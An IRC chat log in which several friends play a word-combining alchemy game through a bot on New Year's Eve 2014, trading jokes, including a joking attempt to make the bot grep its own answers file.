[2014-12-31T15:52:47-0500] <alchemy> You don't have lave!
[2014-12-31T15:52:48-0500] <+JacobEdelman> @combine pdgn lava
[2014-12-31T15:52:48-0500] <+hardmath123> whitespace + heaven = pizza
[2014-12-31T15:52:49-0500] <alchemy> pdgn and lava don't make anything exciting.
[2014-12-31T15:52:49-0500] <+JacobEdelman> @combine pdgn lava
[2014-12-31T15:52:51-0500] <alchemy> pdgn and lava don't make anything exciting.
[2014-12-31T15:52:53-0500] <+JacobEdelman> @combine pdgn lightning
[2014-12-31T15:52:54-0500] <alchemy> pdgn and lightning don't make anything exciting.
[2014-12-31T15:53:11-0500] <+JacobEdelman> @combine ent
[2014-12-31T15:53:13-0500] <+JacobEdelman> @combine evil
[2014-12-31T15:53:13-0500] <alokpathy> :|
[2014-12-31T15:53:21-0500] <alokpathy> @list
[2014-12-31T15:53:22-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:53:22-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, python
[2014-12-31T15:53:22-0500] <alchemy> You have: rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain
[2014-12-31T15:53:22-0500] <alchemy> You have: water, whitehat, wind
[2014-12-31T15:53:22-0500] <alchemy> That's 63 out of 116!
[2014-12-31T15:53:33-0500] <+JacobEdelman> @combine pdgn linux
[2014-12-31T15:53:34-0500] <alchemy> pdgn and linux don't make anything exciting.
[2014-12-31T15:53:36-0500] <+JacobEdelman> @combine pdgn man
[2014-12-31T15:53:37-0500] <alchemy> pdgn and man don't make anything exciting.
[2014-12-31T15:53:38-0500] <+JacobEdelman> @combine pdgn metal
[2014-12-31T15:53:39-0500] <alchemy> pdgn and metal don't make anything exciting.
[2014-12-31T15:53:44-0500] <+JacobEdelman> @combine pdgn mountain
[2014-12-31T15:53:45-0500] <alokpathy> I feel like we make more progress when we don't brute-force.
[2014-12-31T15:53:45-0500] <alchemy> pdgn and mountain don't make anything exciting.
[2014-12-31T15:53:51-0500] <+JacobEdelman> @combine pdgn neaderthal
[2014-12-31T15:53:52-0500] <alchemy> You don't have neaderthal!
[2014-12-31T15:54:00-0500] <+JacobEdelman> @combine pdgn neanderthal
[2014-12-31T15:54:01-0500] <alchemy> pdgn and neanderthal don't make anything exciting.
[2014-12-31T15:54:05-0500] <+JacobEdelman> @combine pdgn ocean
[2014-12-31T15:54:05-0500] <alchemy> pdgn and ocean don't make anything exciting.
[2014-12-31T15:54:07-0500] <+JacobEdelman> @combine pdgn olaf
[2014-12-31T15:54:08-0500] <alchemy> pdgn and olaf don't make anything exciting.
[2014-12-31T15:54:10-0500] <+JacobEdelman> @combine pdgn pdgn
[2014-12-31T15:54:11-0500] <alchemy> pdgn and pdgn don't make anything exciting.
[2014-12-31T15:54:15-0500] <+hardmath123> @status
[2014-12-31T15:54:16-0500] <alchemy> Alive and happy. Thanks for asking.
[2014-12-31T15:54:17-0500] <+JacobEdelman> @combine pdgn penguin
[2014-12-31T15:54:18-0500] <alchemy> pdgn and penguin don't make anything exciting.
[2014-12-31T15:54:18-0500] <+hardmath123> @status
[2014-12-31T15:54:19-0500] <alchemy> Alive and happy. Thanks for asking.
[2014-12-31T15:54:26-0500] <+JacobEdelman> @combine pdgn plant
[2014-12-31T15:54:26-0500] <alchemy> pdgn and plant don't make anything exciting.
[2014-12-31T15:54:29-0500] <+JacobEdelman> @combine pdgn puddle
[2014-12-31T15:54:29-0500] <alchemy> pdgn and puddle don't make anything exciting.
[2014-12-31T15:54:31-0500] <+JacobEdelman> @combine pdgn python
[2014-12-31T15:54:32-0500] <alchemy> pdgn and python don't make anything exciting.
[2014-12-31T15:54:34-0500] <+JacobEdelman> @list
[2014-12-31T15:54:35-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:54:35-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, python
[2014-12-31T15:54:35-0500] <alchemy> You have: rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain
[2014-12-31T15:54:35-0500] <alchemy> You have: water, whitehat, wind
[2014-12-31T15:54:35-0500] <alchemy> That's 63 out of 116!
[2014-12-31T15:54:42-0500] <+JacobEdelman> @combine pdgn rain
[2014-12-31T15:54:42-0500] <alchemy> pdgn and rain don't make anything exciting.
[2014-12-31T15:54:43-0500] <+JacobEdelman> @combine pdgn rainbow
[2014-12-31T15:54:44-0500] <alchemy> pdgn and rainbow don't make anything exciting.
[2014-12-31T15:54:46-0500] <+JacobEdelman> @combine pdgn robot
[2014-12-31T15:54:47-0500] <alchemy> pdgn and robot don't make anything exciting.
[2014-12-31T15:54:48-0500] <+JacobEdelman> @combine pdgn rust
[2014-12-31T15:54:49-0500] <alchemy> pdgn and rust don't make anything exciting.
[2014-12-31T15:54:52-0500] <Tamini_> @combine pdgn rusy
[2014-12-31T15:54:53-0500] <+JacobEdelman> @combine pdgn sandstorm
[2014-12-31T15:54:53-0500] <alchemy> You don't have rusy!
[2014-12-31T15:54:54-0500] <alchemy> pdgn and sandstorm don't make anything exciting.
[2014-12-31T15:54:57-0500] <Tamini_> @combine pdgn rust
[2014-12-31T15:54:58-0500] <alchemy> pdgn and rust don't make anything exciting.
[2014-12-31T15:55:00-0500] <+JacobEdelman> @combine pdgn sculpture
[2014-12-31T15:55:01-0500] <alchemy> pdgn and sculpture don't make anything exciting.
[2014-12-31T15:55:02-0500] <Tamini_> @combine pdgn engine
[2014-12-31T15:55:03-0500] <alchemy> pdgn and engine don't make anything exciting.
[2014-12-31T15:55:05-0500] <+JacobEdelman> @combine pdgn sentience
[2014-12-31T15:55:06-0500] <alchemy> pdgn and sentience don't make anything exciting.
[2014-12-31T15:55:08-0500] <+JacobEdelman> @combine pdgn ship
[2014-12-31T15:55:09-0500] <alchemy> pdgn and ship don't make anything exciting.
[2014-12-31T15:55:11-0500] <+JacobEdelman> @combine pdgn snow
[2014-12-31T15:55:11-0500] <Tamini_> @combine pdgn friendship
[2014-12-31T15:55:12-0500] <alchemy> pdgn and snow don't make anything exciting.
[2014-12-31T15:55:13-0500] <alchemy> pdgn and friendship don't make anything exciting.
[2014-12-31T15:55:13-0500] <+JacobEdelman> @combine pdgn steam
[2014-12-31T15:55:14-0500] <alchemy> pdgn and steam don't make anything exciting.
[2014-12-31T15:55:17-0500] <Tamini_> @combine friendship ship
[2014-12-31T15:55:18-0500] <+hardmath123> @refresh
[2014-12-31T15:55:18-0500] <alchemy> friendship and ship don't make anything exciting.
[2014-12-31T15:55:19-0500] <alchemy> Refreshing...
[2014-12-31T15:55:19-0500] <alchemy> Done.
[2014-12-31T15:55:21-0500] <+JacobEdelman> @combine pdgn stne
[2014-12-31T15:55:21-0500] <alchemy> You don't have stne!
[2014-12-31T15:55:22-0500] <+hardmath123> @possible flag
[2014-12-31T15:55:23-0500] <Tamini_> @combine man ship
[2014-12-31T15:55:23-0500] <alchemy> Yeah, you can make flag.
[2014-12-31T15:55:23-0500] <+JacobEdelman> @combine pdgn stone
[2014-12-31T15:55:24-0500] <alchemy> man and ship don't make anything exciting.
[2014-12-31T15:55:25-0500] <alchemy> pdgn and stone don't make anything exciting.
[2014-12-31T15:55:26-0500] <+JacobEdelman> @combine pdgn sword
[2014-12-31T15:55:26-0500] <+hardmath123> Tamini_: 
[2014-12-31T15:55:27-0500] <alchemy> pdgn and sword don't make anything exciting.
[2014-12-31T15:55:29-0500] <+JacobEdelman> @combine pdgn thunder
[2014-12-31T15:55:30-0500] <alchemy> pdgn and thunder don't make anything exciting.
[2014-12-31T15:55:31-0500] <Tamini_> heh
[2014-12-31T15:55:33-0500] <+hardmath123> Tamini_: @possible flag
[2014-12-31T15:55:39-0500] <Tamini_> @list
[2014-12-31T15:55:39-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:55:39-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, pdgn, penguin, plant, puddle, python
[2014-12-31T15:55:39-0500] <alchemy> You have: rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami, villain
[2014-12-31T15:55:39-0500] <alchemy> You have: water, whitehat, wind
[2014-12-31T15:55:39-0500] <alchemy> That's 63 out of 118!
[2014-12-31T15:55:40-0500] <alokpathy> @possible flag
[2014-12-31T15:55:41-0500] <alchemy> Yeah, you can make flag.
[2014-12-31T15:55:45-0500] <+JacobEdelman> @combine pdgn too
[2014-12-31T15:55:45-0500] <alokpathy> Hm
[2014-12-31T15:55:46-0500] <alchemy> You don't have too!
[2014-12-31T15:55:47-0500] <+JacobEdelman> @combine pdgn tool
[2014-12-31T15:55:47-0500] <alokpathy> @possible ctf
[2014-12-31T15:55:48-0500] <Tamini_> @combine hacker computer
[2014-12-31T15:55:48-0500] <alchemy> pdgn and tool don't make anything exciting.
[2014-12-31T15:55:49-0500] <alchemy> No, you can't make ctf.
[2014-12-31T15:55:50-0500] <+JacobEdelman> @combine pdgn tornado
[2014-12-31T15:55:50-0500] <alchemy> hacker and computer don't make anything exciting.
[2014-12-31T15:55:51-0500] <alchemy> pdgn and tornado don't make anything exciting.
[2014-12-31T15:55:52-0500] <+JacobEdelman> @combine pdgn tree
[2014-12-31T15:55:53-0500] <alchemy> pdgn and tree don't make anything exciting.
[2014-12-31T15:55:54-0500] <alokpathy> @possible picoctf
[2014-12-31T15:55:55-0500] <alchemy> No, you can't make picoctf.
[2014-12-31T15:55:58-0500] <+JacobEdelman> @combine pdgn villain
[2014-12-31T15:55:59-0500] <alchemy> pdgn and villain don't make anything exciting.
[2014-12-31T15:56:01-0500] <alokpathy> @possible america
[2014-12-31T15:56:01-0500] <alchemy> No, you can't make america.
[2014-12-31T15:56:03-0500] <+JacobEdelman> @combine pdgn tsunami
[2014-12-31T15:56:04-0500] <alchemy> pdgn and tsunami don't make anything exciting.
[2014-12-31T15:56:06-0500] <+JacobEdelman> @combine pdgn water
[2014-12-31T15:56:07-0500] <alchemy> pdgn and water don't make anything exciting.
[2014-12-31T15:56:07-0500] <alokpathy> @possible year
[2014-12-31T15:56:08-0500] <alchemy> No, you can't make year.
[2014-12-31T15:56:10-0500] <+JacobEdelman> @combine pdgn whitehat
[2014-12-31T15:56:10-0500] <alokpathy> @possible obama
[2014-12-31T15:56:11-0500] <alchemy> pdgn and whitehat don't make anything exciting.
[2014-12-31T15:56:12-0500] <alchemy> No, you can't make obama.
[2014-12-31T15:56:15-0500] <Tamini_> @combine tool tree
[2014-12-31T15:56:15-0500] <alchemy> You just discovered paper (tool + tree)!
[2014-12-31T15:56:18-0500] <alokpathy> wooo
[2014-12-31T15:56:19-0500] <+JacobEdelman> @combine pdgn villain
[2014-12-31T15:56:20-0500] <alchemy> pdgn and villain don't make anything exciting.
[2014-12-31T15:56:22-0500] <+JacobEdelman> yeah
[2014-12-31T15:56:25-0500] <+JacobEdelman> paper!
[2014-12-31T15:56:30-0500] <+JacobEdelman> @list
[2014-12-31T15:56:30-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:56:30-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant, puddle
[2014-12-31T15:56:30-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami
[2014-12-31T15:56:30-0500] <alchemy> You have: villain, water, whitehat, wind
[2014-12-31T15:56:30-0500] <alchemy> That's 64 out of 118!
[2014-12-31T15:56:35-0500] <alokpathy> JacobEdelman: Your billions of tries didn't find paper.
[2014-12-31T15:56:38-0500] <Tamini_> @combine paper pdgn
[2014-12-31T15:56:39-0500] <+JacobEdelman> @combine pdgn paper
[2014-12-31T15:56:39-0500] <alchemy> paper and pdgn don't make anything exciting.
[2014-12-31T15:56:40-0500] <alchemy> pdgn and paper don't make anything exciting.
[2014-12-31T15:56:40-0500] <Tamini_> @combine paper paper
[2014-12-31T15:56:41-0500] <alchemy> paper and paper don't make anything exciting.
[2014-12-31T15:56:47-0500] <+JacobEdelman> @combine paper rust
[2014-12-31T15:56:48-0500] <alchemy> paper and rust don't make anything exciting.
[2014-12-31T15:56:48-0500] <Tamini_> @combine paper tree
[2014-12-31T15:56:49-0500] <alchemy> paper and tree don't make anything exciting.
[2014-12-31T15:56:52-0500] <alokpathy> @combine paper computer
[2014-12-31T15:56:52-0500] <alchemy> paper and computer don't make anything exciting.
[2014-12-31T15:56:53-0500] <+JacobEdelman> @combine paper sword
[2014-12-31T15:56:53-0500] <Tamini_> @combine paper hacker
[2014-12-31T15:56:54-0500] <alchemy> paper and sword don't make anything exciting.
[2014-12-31T15:56:55-0500] <alchemy> paper and hacker don't make anything exciting.
[2014-12-31T15:56:56-0500] <alokpathy> Darn, I thought tex.
[2014-12-31T15:57:01-0500] <+JacobEdelman> @combine paper joy
[2014-12-31T15:57:01-0500] <alchemy> paper and joy don't make anything exciting.
[2014-12-31T15:57:05-0500] <+JacobEdelman> @combine paper internet
[2014-12-31T15:57:06-0500] <alchemy> paper and internet don't make anything exciting.
[2014-12-31T15:57:07-0500] <alokpathy> @combine paper sculpture
[2014-12-31T15:57:08-0500] <alchemy> paper and sculpture don't make anything exciting.
[2014-12-31T15:57:08-0500] <Tamini_> @combine sword energy
[2014-12-31T15:57:09-0500] <alchemy> sword and energy don't make anything exciting.
[2014-12-31T15:57:10-0500] <Tamini_> @hint
[2014-12-31T15:57:11-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T15:57:13-0500] <Tamini_> @list
[2014-12-31T15:57:14-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:57:14-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant, puddle
[2014-12-31T15:57:14-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami
[2014-12-31T15:57:14-0500] <alchemy> You have: villain, water, whitehat, wind
[2014-12-31T15:57:14-0500] <alchemy> That's 64 out of 118!
[2014-12-31T15:57:22-0500] <alokpathy> @combine paper fire
[2014-12-31T15:57:22-0500] <alchemy> paper and fire don't make anything exciting.
[2014-12-31T15:57:28-0500] <alokpathy> @combine sentience paper
[2014-12-31T15:57:29-0500] <alchemy> sentience and paper don't make anything exciting.
[2014-12-31T15:57:32-0500] <alokpathy> @combine energy paper
[2014-12-31T15:57:32-0500] <alchemy> energy and paper don't make anything exciting.
[2014-12-31T15:57:38-0500] <Tamini_> @combine awe paper
[2014-12-31T15:57:39-0500] <alchemy> You don't have awe!
[2014-12-31T15:57:41-0500] <alokpathy> @combine aaron paper
[2014-12-31T15:57:41-0500] <alchemy> aaron and paper don't make anything exciting.
[2014-12-31T15:57:43-0500] <Tamini_> @combine aaron paper
[2014-12-31T15:57:43-0500] <alokpathy> @combine alok paper
[2014-12-31T15:57:44-0500] <alchemy> aaron and paper don't make anything exciting.
[2014-12-31T15:57:45-0500] <alchemy> alok and paper don't make anything exciting.
[2014-12-31T15:57:45-0500] <Tamini_> :P
[2014-12-31T15:57:51-0500] <Tamini_> @combine friendship paper
[2014-12-31T15:57:51-0500] <alchemy> friendship and paper don't make anything exciting.
[2014-12-31T15:58:00-0500] <alokpathy> @combine paper google
[2014-12-31T15:58:00-0500] <alchemy> paper and google don't make anything exciting.
[2014-12-31T15:58:07-0500] <Tamini_> love+paper is loveletter i bet
[2014-12-31T15:58:16-0500] <alokpathy> @possible loveletter
[2014-12-31T15:58:16-0500] <alchemy> No, you can't make loveletter.
[2014-12-31T15:58:24-0500] <Tamini_> darn
[2014-12-31T15:58:32-0500] <alokpathy> @combine paper python
[2014-12-31T15:58:33-0500] <alchemy> paper and python don't make anything exciting.
[2014-12-31T15:58:37-0500] <Tamini_> @possible poetry
[2014-12-31T15:58:38-0500] <alchemy> No, you can't make poetry.
[2014-12-31T15:58:42-0500] <+hardmath123> @refresh
[2014-12-31T15:58:42-0500] <alokpathy> @possible pen
[2014-12-31T15:58:43-0500] <alchemy> Refreshing...
[2014-12-31T15:58:43-0500] <alchemy> Done.
[2014-12-31T15:58:44-0500] <alchemy> No, you can't make pen.
[2014-12-31T15:58:48-0500] <+hardmath123> @possible loveletteer
[2014-12-31T15:58:48-0500] <alchemy> No, you can't make loveletteer.
[2014-12-31T15:58:49-0500] <+hardmath123> @possible loveletter
[2014-12-31T15:58:50-0500] <alchemy> Yeah, you can make loveletter.
[2014-12-31T15:58:53-0500] <+hardmath123> @possible limerick
[2014-12-31T15:58:54-0500] <alchemy> Yeah, you can make limerick.
[2014-12-31T15:58:58-0500] <alokpathy> Oh nice
[2014-12-31T15:58:58-0500] <alokpathy> @list
[2014-12-31T15:58:59-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T15:58:59-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant, puddle
[2014-12-31T15:58:59-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami
[2014-12-31T15:58:59-0500] <alchemy> You have: villain, water, whitehat, wind
[2014-12-31T15:58:59-0500] <alchemy> That's 64 out of 120!
[2014-12-31T15:59:14-0500] <+hardmath123> (It doesn't retroactively add stuff, so you need to @combine it again.)
[2014-12-31T15:59:36-0500] <+JacobEdelman> @combine joy paper
[2014-12-31T15:59:36-0500] <alchemy> joy and paper don't make anything exciting.
[2014-12-31T15:59:36-0500] <Tamini_> the closer we get to finishing
[2014-12-31T15:59:39-0500] <Tamini_> the more he adds
[2014-12-31T15:59:41-0500] <alokpathy> Is that implying that we had something before? :3
[2014-12-31T15:59:43-0500] <+JacobEdelman> @possible love
[2014-12-31T15:59:43-0500] <Tamini_> @combine paper paper
[2014-12-31T15:59:43-0500] <alchemy> Yeah, you can make love.
[2014-12-31T15:59:44-0500] <alchemy> paper and paper don't make anything exciting.
[2014-12-31T15:59:50-0500] <+JacobEdelman> @combine aaron rust
[2014-12-31T15:59:50-0500] <alchemy> aaron and rust don't make anything exciting.
[2014-12-31T15:59:54-0500] <Tamini_> @combine paper google
[2014-12-31T15:59:54-0500] <alchemy> paper and google don't make anything exciting.
[2014-12-31T15:59:56-0500] <+JacobEdelman> aaron + rust = love
[2014-12-31T15:59:57-0500] <+JacobEdelman> duh
[2014-12-31T16:00:00-0500] <alokpathy> @combine paper python
[2014-12-31T16:00:01-0500] <alchemy> paper and python don't make anything exciting.
[2014-12-31T16:00:01-0500] <+JacobEdelman> fix dat 
[2014-12-31T16:00:03-0500] <+JacobEdelman> :P
[2014-12-31T16:00:07-0500] <alokpathy> @combine paper google
[2014-12-31T16:00:07-0500] <Tamini_> @combine aaron rust
[2014-12-31T16:00:07-0500] <alchemy> paper and google don't make anything exciting.
[2014-12-31T16:00:08-0500] <alchemy> aaron and rust don't make anything exciting.
[2014-12-31T16:00:13-0500] <alokpathy> @combine alok paper
[2014-12-31T16:00:14-0500] <alchemy> alok and paper don't make anything exciting.
[2014-12-31T16:00:19-0500] <alokpathy> @combine aaron paper
[2014-12-31T16:00:20-0500] <alchemy> aaron and paper don't make anything exciting.
[2014-12-31T16:00:21-0500] <+JacobEdelman> @combine paper paper
[2014-12-31T16:00:22-0500] <alchemy> paper and paper don't make anything exciting.
[2014-12-31T16:00:27-0500] <alokpathy> @combine computer paper
[2014-12-31T16:00:27-0500] <alchemy> computer and paper don't make anything exciting.
[2014-12-31T16:00:30-0500] <alokpathy> @combine linux paper
[2014-12-31T16:00:31-0500] <alchemy> linux and paper don't make anything exciting.
[2014-12-31T16:00:34-0500] <alokpathy> @combine google paper
[2014-12-31T16:00:35-0500] <alchemy> google and paper don't make anything exciting.
[2014-12-31T16:00:35-0500] <Tamini_> hardmath is the one that writes limericks
[2014-12-31T16:00:44-0500] <alokpathy> @combine python paper
[2014-12-31T16:00:44-0500] <alchemy> python and paper don't make anything exciting.
[2014-12-31T16:00:46-0500] <alokpathy> @list
[2014-12-31T16:00:46-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T16:00:46-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant, puddle
[2014-12-31T16:00:46-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami
[2014-12-31T16:00:46-0500] <alchemy> You have: villain, water, whitehat, wind
[2014-12-31T16:00:46-0500] <alchemy> That's 64 out of 120!
[2014-12-31T16:00:51-0500] <alokpathy> @combine knight paper
[2014-12-31T16:00:51-0500] <alchemy> knight and paper don't make anything exciting.
[2014-12-31T16:00:55-0500] <+JacobEdelman> @combine awe paper
[2014-12-31T16:00:56-0500] <alchemy> You don't have awe!
[2014-12-31T16:00:57-0500] <alokpathy> @combine hacker paper
[2014-12-31T16:00:58-0500] <alchemy> hacker and paper don't make anything exciting.
[2014-12-31T16:01:00-0500] <+JacobEdelman> @combine arron paper
[2014-12-31T16:01:00-0500] <alchemy> You don't have arron!
[2014-12-31T16:01:04-0500] <+JacobEdelman> @combine aaron paper
[2014-12-31T16:01:04-0500] <alchemy> aaron and paper don't make anything exciting.
[2014-12-31T16:01:10-0500] <+hardmath123> @list
[2014-12-31T16:01:11-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T16:01:11-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant, puddle
[2014-12-31T16:01:11-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami
[2014-12-31T16:01:11-0500] <alchemy> You have: villain, water, whitehat, wind
[2014-12-31T16:01:11-0500] <alchemy> That's 64 out of 120!
[2014-12-31T16:01:13-0500] <+hardmath123> guys
[2014-12-31T16:01:14-0500] <+hardmath123>  imeant
[2014-12-31T16:01:17-0500] <+hardmath123> @combine love letter
[2014-12-31T16:01:18-0500] <alchemy> You don't have love!
[2014-12-31T16:01:20-0500] <+hardmath123> oh
[2014-12-31T16:01:23-0500] <Tamini_> yeah
[2014-12-31T16:01:23-0500] <+JacobEdelman> yeah
[2014-12-31T16:01:26-0500] <+hardmath123> @combine love paper
[2014-12-31T16:01:26-0500] <alchemy> You don't have love!
[2014-12-31T16:01:27-0500] <Tamini_> i was just commenting lol
[2014-12-31T16:01:28-0500] <+hardmath123> OH
[2014-12-31T16:01:28-0500] <+JacobEdelman> I guessed that
[2014-12-31T16:01:33-0500] <Tamini_> :P
[2014-12-31T16:01:44-0500] <+hardmath123> i forgot how to make love
[2014-12-31T16:01:45-0500] <+hardmath123> hang on
[2014-12-31T16:01:55-0500] <Tamini_> lolol
[2014-12-31T16:01:55-0500] <+JacobEdelman> you forgot how to make love?
[2014-12-31T16:01:57-0500] <Tamini_> uhhh
[2014-12-31T16:02:07-0500] <Tamini_> ;)
[2014-12-31T16:02:08-0500] <+hardmath123> kc:~/alchemy$ cat answers.py | grep love
[2014-12-31T16:02:12-0500] <+JacobEdelman> thats typically something you learn in health class
[2014-12-31T16:02:19-0500] <alokpathy> :|
[2014-12-31T16:02:25-0500] <+JacobEdelman> sorry
[2014-12-31T16:02:28-0500] <alokpathy> lolol it's fine
[2014-12-31T16:02:32-0500] <+JacobEdelman> couldn't resist
[2014-12-31T16:02:34-0500] <+JacobEdelman> so easy
[2014-12-31T16:02:45-0500] <Tamini_> :P
[2014-12-31T16:03:01-0500] <alokpathy> alchemy: popen("cat answers.py | grep love")
[2014-12-31T16:03:04-0500] <alokpathy> aw
[2014-12-31T16:03:10-0500] <+JacobEdelman> I'm adding this to a best of pdgn doc:  kc:~/alchemy$ cat answers.py | grep love
[2014-12-31T16:03:10-0500] <alokpathy> oh
[2014-12-31T16:03:16-0500] <alokpathy> oops
[2014-12-31T16:03:40-0500] <alokpathy> alchemy: popen("cat answers.py | grep love", "r")
[2014-12-31T16:03:50-0500] <alokpathy> Something tells me that's not how it works.
[2014-12-31T16:03:59-0500] <alokpathy> Eh
[2014-12-31T16:04:00-0500] <alokpathy> @list
[2014-12-31T16:04:00-0500] <+hardmath123> JacobEdelman: there's a best of pdgn doc?
[2014-12-31T16:04:00-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker, hal
[2014-12-31T16:04:01-0500] <alchemy> You have: hole, ice, internet, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin, plant, puddle
[2014-12-31T16:04:01-0500] <alchemy> You have: python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, steam, stone, sword, thunder, tool, tornado, tree, tsunami
[2014-12-31T16:04:01-0500] <alchemy> You have: villain, water, whitehat, wind
[2014-12-31T16:04:01-0500] <alchemy> That's 64 out of 120!
[2014-12-31T16:04:26-0500] <alokpathy> @combine air man
[2014-12-31T16:04:26-0500] <alchemy> air and man don't make anything exciting.
[2014-12-31T16:04:30-0500] <alokpathy> @possible airbender
[2014-12-31T16:04:30-0500] <+JacobEdelman> there is now
[2014-12-31T16:04:30-0500] <alchemy> No, you can't make airbender.
[2014-12-31T16:04:37-0500] <alokpathy> Still no airbender.
[2014-12-31T16:04:49-0500] <Tamini_> so hardmath123
[2014-12-31T16:04:55-0500] <Tamini_> how do you make love? ;)
[2014-12-31T16:05:06-0500] <+JacobEdelman> lol
[2014-12-31T16:05:07-0500] <+JacobEdelman> lolol
[2014-12-31T16:05:33-0500] <alokpathy> @possible woman
[2014-12-31T16:05:34-0500] <alchemy> No, you can't make woman.
[2014-12-31T16:05:45-0500] <alokpathy> @possible homosexual
[2014-12-31T16:05:46-0500] <alchemy> No, you can't make homosexual.
[2014-12-31T16:05:50-0500] <alokpathy> @possible heterosexual
[2014-12-31T16:05:51-0500] <alchemy> No, you can't make heterosexual.
[2014-12-31T16:06:01-0500] <alokpathy> @possible internet python
[2014-12-31T16:06:03-0500] <alokpathy> oops
[2014-12-31T16:06:06-0500] <alokpathy> @combine internet python
[2014-12-31T16:06:07-0500] <alchemy> internet and python don't make anything exciting.
[2014-12-31T16:06:14-0500] <+hardmath123> Tamini_: you need to get shell in my heart to find out.
[2014-12-31T16:06:15-0500] <alokpathy> @combine friendship python
[2014-12-31T16:06:16-0500] <alchemy> friendship and python don't make anything exciting.
[2014-12-31T16:06:22-0500] <alokpathy> @possible shell
[2014-12-31T16:06:23-0500] <alchemy> No, you can't make shell.
[2014-12-31T16:06:25-0500] <+hardmath123> Tamini_: cat hardmath123.heart | grep love
[2014-12-31T16:06:26-0500] <alokpathy> @possible heart
[2014-12-31T16:06:27-0500] <alchemy> No, you can't make heart.
[2014-12-31T16:06:32-0500] <alokpathy> lollolol
[2014-12-31T16:06:35-0500] <alokpathy> hardmath123: Nice response :P
[2014-12-31T16:06:36-0500] <Tamini_> lol
[2014-12-31T16:07:23-0500] <Tamini_> are you saying
[2014-12-31T16:07:27-0500] <Tamini_> there isnt already one?
[2014-12-31T16:08:07-0500] <+hardmath123> oh yeah, first you need
[2014-12-31T16:08:10-0500] <+hardmath123> $ touch heart
[2014-12-31T16:08:13-0500] <Tamini_> lol
[2014-12-31T16:09:12-0500] <+JacobEdelman> hardmath123: no women?
[2014-12-31T16:09:15-0500] <alokpathy> https://medium.com/@aaaaaaaaaandrew/today-i-learned-something-about-my-boyfriend-that-no-girl-should-ever-have-to-discover-7799910315af
[2014-12-31T16:09:41-0500] <Tamini_> loool
[2014-12-31T16:10:56-0500] <+hardmath123> aaaaaaaaand I just lost my appetite.
[2014-12-31T16:11:04-0500] <+JacobEdelman> haha
[2014-12-31T16:11:20-0500] <alokpathy> So sad :'(
[2014-12-31T16:12:09-0500] <+JacobEdelman> I had an experince similar to that
[2014-12-31T16:12:12-0500] <+JacobEdelman> when I found out
[2014-12-31T16:12:23-0500] <+JacobEdelman> that alokpathy is just a used cabbage leaf
[2014-12-31T16:12:26-0500] <+JacobEdelman> but I got over it
